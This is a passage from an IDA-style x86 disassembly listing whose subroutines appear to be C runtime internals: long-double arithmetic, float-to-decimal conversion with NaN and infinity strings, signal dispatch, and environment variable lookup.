[ebp+var_8] jmp short loc_41B7AA ; --------------------------------------------------------------------------- loc_41B7A7: ; CODE XREF: sub_41B403+38Dj mov eax, [ebp+var_C] loc_41B7AA: ; CODE XREF: sub_41B403+3A2j cmp [ebp+var_4], 0 jbe loc_41B859 loc_41B7B4: ; CODE XREF: sub_41B403+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_41B7C2 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_41B7B4 ; --------------------------------------------------------------------------- loc_41B7C2: ; CODE XREF: sub_41B403+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_41B33C mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_41B7E1 neg eax loc_41B7E1: ; CODE XREF: sub_41B403+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_41B7EC add eax, [ebp+arg_10] loc_41B7EC: ; CODE XREF: sub_41B403+3E4j cmp [ebp+var_24], ecx jnz short loc_41B7F4 sub eax, [ebp+arg_14] loc_41B7F4: ; CODE XREF: sub_41B403+3ECj cmp eax, 1450h jle short loc_41B82B mov [ebp+var_2C], 1 loc_41B802: ; CODE XREF: sub_41B403+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_41B80E: ; CODE XREF: sub_41B403+454j ; sub_41B403+45Ej cmp [ebp+var_2C], 0 jz short loc_41B874 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_41B889 ; --------------------------------------------------------------------------- loc_41B82B: ; CODE XREF: sub_41B403+3F6j cmp eax, 0FFFFEBB0h jge short loc_41B83B mov [ebp+var_30], 1 jmp short loc_41B802 ; --------------------------------------------------------------------------- loc_41B83B: ; CODE XREF: sub_41B403+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_41BFEC mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_41B80E ; --------------------------------------------------------------------------- loc_41B859: ; CODE XREF: sub_41B403+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_41B80E ; --------------------------------------------------------------------------- loc_41B863: ; CODE XREF: sub_41B403+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_41B889 ; --------------------------------------------------------------------------- loc_41B874: ; CODE XREF: sub_41B403+40Fj cmp [ebp+var_30], 0 jz short loc_41B889 xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_41B889: ; CODE XREF: sub_41B403+426j ; sub_41B403+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_41B403 endp ; --------------------------------------------------------------------------- off_41B8A4 dd offset loc_41B46D ; DATA XREF: sub_41B403+63r dd offset loc_41B4BC ; jump table for switch statement dd offset loc_41B513 dd offset loc_41B53D dd offset loc_41B598 dd offset loc_41B60F dd offset loc_41B645 dd offset loc_41B68F dd offset loc_41B66E dd offset loc_41B6F3 dd offset loc_41B6DD dd offset loc_41B6A9 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B8D4 proc near ; CODE XREF: sub_41A6AC+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_41B936 mov byte ptr [ebx+2], 2Dh jmp short loc_41B93A ; --------------------------------------------------------------------------- loc_41B936: ; CODE XREF: sub_41B8D4+5Aj mov byte ptr [ebx+2], 20h loc_41B93A: ; CODE XREF: sub_41B8D4+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_41B960 test edi, edi jnz short loc_41B960 cmp [ebp+arg_0], edi jnz short loc_41B960 loc_41B94B: ; CODE XREF: sub_41B8D4+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_41BB5E ; --------------------------------------------------------------------------- loc_41B960: ; CODE XREF: sub_41B8D4+6Cj ; sub_41B8D4+70j ... cmp dx, si jnz short loc_41B9DF mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_41B979 cmp [ebp+arg_0], 0 jz short loc_41B988 loc_41B979: ; CODE XREF: sub_41B8D4+9Dj test edi, 40000000h jnz short loc_41B988 push offset a1Snan ; "1#SNAN" jmp short loc_41B9CE ; --------------------------------------------------------------------------- loc_41B988: ; CODE XREF: sub_41B8D4+A3j ; sub_41B8D4+ABj test cx, cx jz short loc_41B9A2 cmp edi, 0C0000000h jnz short loc_41B9A2 cmp [ebp+arg_0], 0 jnz short loc_41B9C9 push offset a1Ind ; "1#IND" jmp short loc_41B9B1 ; --------------------------------------------------------------------------- loc_41B9A2: ; CODE XREF: sub_41B8D4+B7j ; sub_41B8D4+BFj cmp edi, eax jnz short loc_41B9C9 cmp [ebp+arg_0], 0 jnz short loc_41B9C9 push offset a1Inf ; "1#INF" loc_41B9B1: ; CODE XREF: sub_41B8D4+CCj lea eax, [ebx+4] push eax call sub_412600 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_41B9C0: ; CODE XREF: sub_41B8D4+109j and [ebp+var_4], 0 jmp loc_41BB37 ; --------------------------------------------------------------------------- loc_41B9C9: ; CODE XREF: sub_41B8D4+C5j ; sub_41B8D4+D0j ... push offset a1Qnan ; "1#QNAN" loc_41B9CE: ; CODE XREF: sub_41B8D4+B2j lea eax, [ebx+4] push eax call sub_412600 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_41B9C0 ; --------------------------------------------------------------------------- loc_41B9DF: ; CODE XREF: sub_41B8D4+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_41BFEC add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_41BA40 lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_41BDCC pop ecx pop ecx loc_41BA40: ; CODE XREF: sub_41B8D4+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_41BA5A mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_41BA5D jmp loc_41B94B ; --------------------------------------------------------------------------- loc_41BA5A: ; CODE XREF: sub_41B8D4+173j mov edi, [ebp+arg_C] loc_41BA5D: ; CODE XREF: sub_41B8D4+17Fj cmp edi, 15h jle short loc_41BA65 push 15h pop edi loc_41BA65: ; CODE XREF: sub_41B8D4+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_41BA7B: ; CODE XREF: sub_41B8D4+1B4j lea eax, [ebp+var_10] push eax call sub_41B2E1 dec [ebp+arg_14] pop ecx jnz short loc_41BA7B test esi, esi jge short loc_41BAA5 neg esi and esi, 0FFh jle short loc_41BAA5 loc_41BA98: ; CODE XREF: sub_41B8D4+1CFj lea eax, [ebp+var_10] push eax call sub_41B30F dec esi pop ecx jnz short loc_41BA98 loc_41BAA5: ; CODE XREF: sub_41B8D4+1B8j ; sub_41B8D4+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_41BB02 mov [ebp+arg_C], ecx loc_41BAB5: ; CODE XREF: sub_41B8D4+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_41B2E1 lea eax, [ebp+var_10] push eax call sub_41B2E1 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_41B283 lea eax, [ebp+var_10] push eax call sub_41B2E1 mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_41BAB5 mov eax, [ebp+arg_14] loc_41BB02: ; CODE XREF: sub_41B8D4+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_41BB3F loc_41BB0F: ; CODE XREF: sub_41B8D4+248j cmp eax, ecx jb short loc_41BB22 cmp byte ptr [eax], 39h jnz short loc_41BB1E mov byte ptr [eax], 30h dec eax jmp short loc_41BB0F ; --------------------------------------------------------------------------- loc_41BB1E: ; CODE XREF: sub_41B8D4+242j cmp eax, ecx jnb short loc_41BB26 loc_41BB22: ; CODE XREF: sub_41B8D4+23Dj inc eax inc word ptr [ebx] loc_41BB26: ; CODE XREF: sub_41B8D4+24Cj inc byte ptr [eax] loc_41BB28: ; CODE XREF: sub_41B8D4+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_41BB37: ; CODE XREF: sub_41B8D4+F0j mov eax, [ebp+var_4] loc_41BB3A: ; CODE XREF: sub_41B8D4+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41BB3F: ; CODE XREF: sub_41B8D4+239j ; sub_41B8D4+275j cmp eax, ecx jb short loc_41BB4F cmp byte ptr [eax], 30h jnz short loc_41BB4B dec eax jmp short loc_41BB3F ; --------------------------------------------------------------------------- loc_41BB4B: ; CODE XREF: sub_41B8D4+272j cmp eax, ecx jnb short loc_41BB28 loc_41BB4F: ; CODE XREF: sub_41B8D4+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_41BB5E: ; CODE XREF: sub_41B8D4+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_41BB3A sub_41B8D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BB67 proc near ; CODE XREF: sub_41746C+3420p arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_41BBCE dec eax dec eax jz short loc_41BBBF sub eax, 4 jz short loc_41BBBF sub eax, 3 jz short loc_41BBBF sub eax, 4 jz short loc_41BBB2 sub eax, 6 jz short loc_41BBA5 dec eax jz short loc_41BB98 or eax, 0FFFFFFFFh jmp loc_41BC90 ; --------------------------------------------------------------------------- loc_41BB98: ; CODE XREF: sub_41BB67+27j mov esi, dword_462E9C mov eax, offset dword_462E9C jmp short loc_41BBD9 ; --------------------------------------------------------------------------- loc_41BBA5: ; CODE XREF: sub_41BB67+24j mov esi, dword_462E98 mov eax, offset dword_462E98 jmp short loc_41BBD9 ; --------------------------------------------------------------------------- loc_41BBB2: ; CODE XREF: sub_41BB67+1Fj mov esi, dword_462EA0 mov eax, offset dword_462EA0 jmp short loc_41BBD9 ; --------------------------------------------------------------------------- loc_41BBBF: ; CODE XREF: sub_41BB67+10j ; sub_41BB67+15j ... push edi call sub_41BC94 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_41BBD9 ; --------------------------------------------------------------------------- loc_41BBCE: ; CODE XREF: sub_41BB67+Cj mov esi, dword_462E94 mov eax, offset dword_462E94 loc_41BBD9: ; CODE XREF: sub_41BB67+3Cj ; sub_41BB67+49j ... cmp esi, 1 jnz short loc_41BBE5 xor eax, eax jmp loc_41BC90 ; --------------------------------------------------------------------------- loc_41BBE5: ; CODE XREF: sub_41BB67+75j test esi, esi jnz short loc_41BBF0 push 3 call sub_413FE8 loc_41BBF0: ; CODE XREF: sub_41BB67+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_41BC02 cmp edi, 0Bh jz short loc_41BC02 cmp edi, 4 jnz short loc_41BC28 loc_41BC02: ; CODE XREF: sub_41BB67+8Fj ; sub_41BB67+94j mov ebx, dword_462C74 and dword_462C74, 0 cmp edi, ecx jnz short loc_41BC57 mov edx, dword_431B0C mov dword_431B0C, 8Ch mov [ebp+arg_0], edx jmp short loc_41BC2B ; --------------------------------------------------------------------------- loc_41BC28: ; CODE XREF: sub_41BB67+99j mov ebx, [ebp+arg_0] loc_41BC2B: ; CODE XREF: sub_41BB67+BFj cmp edi, ecx jnz short loc_41BC57 mov eax, dword_431B00 mov ecx, dword_431B04 add ecx, eax cmp eax, ecx jge short loc_41BC5E lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:431A90h[edx*4] loc_41BC4C: ; CODE XREF: sub_41BB67+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_41BC4C jmp short loc_41BC5E ; --------------------------------------------------------------------------- loc_41BC57: ; CODE XREF: sub_41BB67+AAj ; sub_41BB67+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_41BC6C loc_41BC5E: ; CODE XREF: sub_41BB67+D7j ; sub_41BB67+EEj push dword_431B0C push 8 call esi ; dword_462E9C pop ecx pop ecx jmp short loc_41BC7A ; --------------------------------------------------------------------------- loc_41BC6C: ; CODE XREF: sub_41BB67+F5j push edi call esi ; dword_462E9C cmp edi, 0Bh pop ecx jz short loc_41BC7A cmp edi, 4 jnz short loc_41BC8D loc_41BC7A: ; CODE XREF: sub_41BB67+103j ; sub_41BB67+10Cj cmp edi, 8 mov dword_462C74, ebx jnz short loc_41BC8D mov eax, [ebp+arg_0] mov dword_431B0C, eax loc_41BC8D: ; CODE XREF: sub_41BB67+111j ; sub_41BB67+11Cj xor eax, eax pop ebx loc_41BC90: ; CODE XREF: sub_41BB67+2Cj ; sub_41BB67+79j pop edi pop esi pop ebp retn sub_41BB67 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41BC94 proc near ; CODE XREF: sub_41BB67+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_431B08 cmp dword_431A8C, edx push esi mov eax, offset dword_431A88 jz short loc_41BCC2 lea esi, [ecx+ecx*2] lea esi, ds:431A88h[esi*4] loc_41BCB6: ; CODE XREF: sub_41BC94+2Cj add eax, 0Ch cmp eax, esi jnb short loc_41BCC2 cmp [eax+4], edx jnz short loc_41BCB6 loc_41BCC2: ; CODE XREF: sub_41BC94+16j ; sub_41BC94+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:431A88h[ecx*4] cmp eax, ecx jnb short loc_41BCD6 cmp [eax+4], edx jz short locret_41BCD8 loc_41BCD6: ; CODE XREF: sub_41BC94+3Bj xor eax, eax locret_41BCD8: ; CODE XREF: sub_41BC94+40j retn sub_41BC94 endp ; =============== S U B R O U T I N E ======================================= sub_41BCD9 proc near ; CODE XREF: sub_41AA32+23p arg_0 = dword ptr 4 cmp dword_464228, 0 push ebx push esi mov esi, dword_462BEC push edi jz short loc_41BD50 test esi, esi jnz short loc_41BD0A cmp dword_462BF4, esi jz short loc_41BD50 call sub_41C0A7 test eax, eax jnz short loc_41BD50 mov esi, dword_462BEC test esi, esi jz short loc_41BD50 loc_41BD0A: ; CODE XREF: sub_41BCD9+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_41BD50 push ebx call sub_4126F0 pop ecx mov edi, eax loc_41BD1B: ; CODE XREF: sub_41BCD9+6Dj mov eax, [esi] test eax, eax jz short loc_41BD50 push eax call sub_4126F0 cmp eax, edi pop ecx jbe short loc_41BD43 mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_41BD43 push edi push ebx push eax call sub_41C068 add esp, 0Ch test eax, eax jz short loc_41BD48 loc_41BD43: ; CODE XREF: sub_41BCD9+51j ; sub_41BCD9+59j add esi, 4 jmp short loc_41BD1B ; --------------------------------------------------------------------------- loc_41BD48: ; CODE XREF: sub_41BCD9+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_41BD52 ; --------------------------------------------------------------------------- loc_41BD50: ; CODE XREF: sub_41BCD9+10j ; sub_41BCD9+1Cj ... xor eax, eax loc_41BD52: ; CODE XREF: sub_41BCD9+75j pop edi pop esi pop ebx retn sub_41BCD9 endp ; =============== S U B R O U T I N E ======================================= sub_41BD56 proc near ; CODE XREF: sub_41B11C+8Bp ; sub_41B11C+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_463FE0 jnb short loc_41BDBD mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_463EE0[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_41BDBD mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_41BD96 and cl, 7Fh jmp short loc_41BDA3 ; --------------------------------------------------------------------------- loc_41BD96: ; CODE XREF: sub_41BD56+39j cmp [esp+4+arg_4], 4000h jnz short loc_41BDB1 or cl, 80h loc_41BDA3: ; CODE XREF: sub_41BD56+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_41BDB1: ; CODE XREF: sub_41BD56+48j mov dword_462BC4, 16h jmp short loc_41BDC7 ; --------------------------------------------------------------------------- loc_41BDBD: ; CODE XREF: sub_41BD56+Bj ; sub_41BD56+27j mov dword_462BC4, 9 loc_41BDC7: ; CODE XREF: sub_41BD56+65j or eax, 0FFFFFFFFh pop esi retn sub_41BD56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BDCC proc near ; CODE XREF: sub_41B8D4+165p ; sub_41BFEC+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_41BFCC cmp cx, 7FFFh jnb loc_41BFCC cmp dx, 0BFFDh ja loc_41BFCC cmp dx, 3FBFh ja short loc_41BE35 xor eax, eax jmp short loc_41BE6F ; --------------------------------------------------------------------------- loc_41BE35: ; CODE XREF: sub_41BDCC+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_41BE57 inc [ebp+arg_0] test [esi+8], edx jnz short loc_41BE57 xor eax, eax cmp [esi+4], eax jnz short loc_41BE59 cmp [esi], eax jnz short loc_41BE59 jmp loc_41BFC6 ; --------------------------------------------------------------------------- loc_41BE57: ; CODE XREF: sub_41BDCC+71j ; sub_41BDCC+79j xor eax, eax loc_41BE59: ; CODE XREF: sub_41BDCC+80j ; sub_41BDCC+84j cmp cx, ax jnz short loc_41BE7C inc [ebp+arg_0] test [ebx+8], edx jnz short loc_41BE7C cmp [ebx+4], eax jnz short loc_41BE7C cmp [ebx], eax jnz short loc_41BE7C loc_41BE6F: ; CODE XREF: sub_41BDCC+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_41BFE7 ; --------------------------------------------------------------------------- loc_41BE7C: ; CODE XREF: sub_41BDCC+90j ; sub_41BDCC+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_41BE8C: ; CODE XREF: sub_41BDCC+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_41BEE0 add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_41BEA8: ; CODE XREF: sub_41BDCC+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_41B262 add esp, 0Ch test eax, eax jz short loc_41BED3 mov eax, [ebp+var_4] inc word ptr [eax] loc_41BED3: ; CODE XREF: sub_41BDCC+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_41BEA8 loc_41BEE0: ; CODE XREF: sub_41BDCC+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_41BE8C add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_41BF23 loc_41BEFE: ; CODE XREF: sub_41BDCC+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_41BF1C lea eax, [ebp+var_24] push eax call sub_41B2E1 add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_41BEFE loc_41BF1C: ; CODE XREF: sub_41BDCC+136j cmp word ptr [ebp+arg_0], 0 jg short loc_41BF5C loc_41BF23: ; CODE XREF: sub_41BDCC+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_41BF5C movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_41BF3C: ; CODE XREF: sub_41BDCC+184j test byte ptr [ebp+var_24], 1 jz short loc_41BF45 inc [ebp+var_14] loc_41BF45: ; CODE XREF: sub_41BDCC+174j lea eax, [ebp+var_24] push eax call sub_41B30F dec ebx pop ecx jnz short loc_41BF3C cmp [ebp+var_14], 0 jz short loc_41BF5C or byte ptr [ebp+var_24], 1 loc_41BF5C: ; CODE XREF: sub_41BDCC+155j ; sub_41BDCC+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_41BF73 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_41BFA8 loc_41BF73: ; CODE XREF: sub_41BDCC+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_41BFA5 and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_41BFA0 and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_41BF9A inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_41BFA8 ; --------------------------------------------------------------------------- loc_41BF9A: ; CODE XREF: sub_41BDCC+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_41BFA8 ; --------------------------------------------------------------------------- loc_41BFA0: ; CODE XREF: sub_41BDCC+1B5j inc [ebp+var_20+2] jmp short loc_41BFA8 ; --------------------------------------------------------------------------- loc_41BFA5: ; CODE XREF: sub_41BDCC+1ABj inc [ebp+var_24+2] loc_41BFA8: ; CODE XREF: sub_41BDCC+1A5j ; sub_41BDCC+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_41BFCC mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_41BFC6: ; CODE XREF: sub_41BDCC+86j mov [esi+0Ah], ax jmp short loc_41BFE7 ; --------------------------------------------------------------------------- loc_41BFCC: ; CODE XREF: sub_41BDCC+42j ; sub_41BDCC+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_41BFE7: ; CODE XREF: sub_41BDCC+ABj ; sub_41BDCC+1FEj pop edi pop esi pop ebx leave retn sub_41BDCC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BFEC proc near ; CODE XREF: sub_41B403+440p ; sub_41B8D4+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_431F80 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_41C065 jge short loc_41C014 mov eax, [ebp+arg_4] mov ebx, offset dword_4320E0 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_41C014: ; CODE XREF: sub_41BFEC+16j cmp [ebp+arg_8], ecx jnz short loc_41C01F mov eax, [ebp+arg_0] mov [eax], cx loc_41C01F: ; CODE XREF: sub_41BFEC+2Bj cmp [ebp+arg_4], ecx jz short loc_41C065 push esi push edi loc_41C026: ; CODE XREF: sub_41BFEC+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_41C05E lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_41C051 lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_41C051: ; CODE XREF: sub_41BFEC+57j push esi push [ebp+arg_0] call sub_41BDCC pop ecx pop ecx xor ecx, ecx loc_41C05E: ; CODE XREF: sub_41BFEC+49j cmp [ebp+arg_4], ecx jnz short loc_41C026 pop edi pop esi loc_41C065: ; CODE XREF: sub_41BFEC+14j ; sub_41BFEC+36j pop ebx leave retn sub_41BFEC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C068 proc near ; CODE XREF: sub_41BCD9+5Ep ; sub_41C519+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_41C075 xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_41C075: ; CODE XREF: sub_41C068+7j push dword_463FE4 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push dword_464204 call sub_41C115 add esp, 1Ch test eax, eax jnz short loc_41C0A2 mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_41C0A2: ; CODE XREF: sub_41C068+31j add eax, 0FFFFFFFEh pop ebp retn sub_41C068 endp ; =============== S U B R O U T I N E ======================================= sub_41C0A7 proc near ; CODE XREF: sub_41BCD9+1Ep ; sub_41C392+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, dword_462BF4 push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_41C108 mov ebx, dword_41D12C loc_41C0C0: ; CODE XREF: sub_41C0A7+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx ; dword_41D12C mov ebp, eax cmp ebp, edi jz short loc_41C110 push ebp call sub_41279F cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_41C110 push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx ; dword_41D12C test eax, eax jz short loc_41C110 push edi push [esp+18h+var_4] call sub_41C392 mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_41C0C0 loc_41C108: ; CODE XREF: sub_41C0A7+11j xor eax, eax loc_41C10A: ; CODE XREF: sub_41C0A7+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_41C110: ; CODE XREF: sub_41C0A7+29j ; sub_41C0A7+38j ... or eax, 0FFFFFFFFh jmp short loc_41C10A sub_41C0A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C115 proc near ; CODE XREF: sub_41C068+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41DC18 push offset sub_419528 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp dword_462EA8, ebx push 1 pop edi jnz short loc_41C188 push edi mov 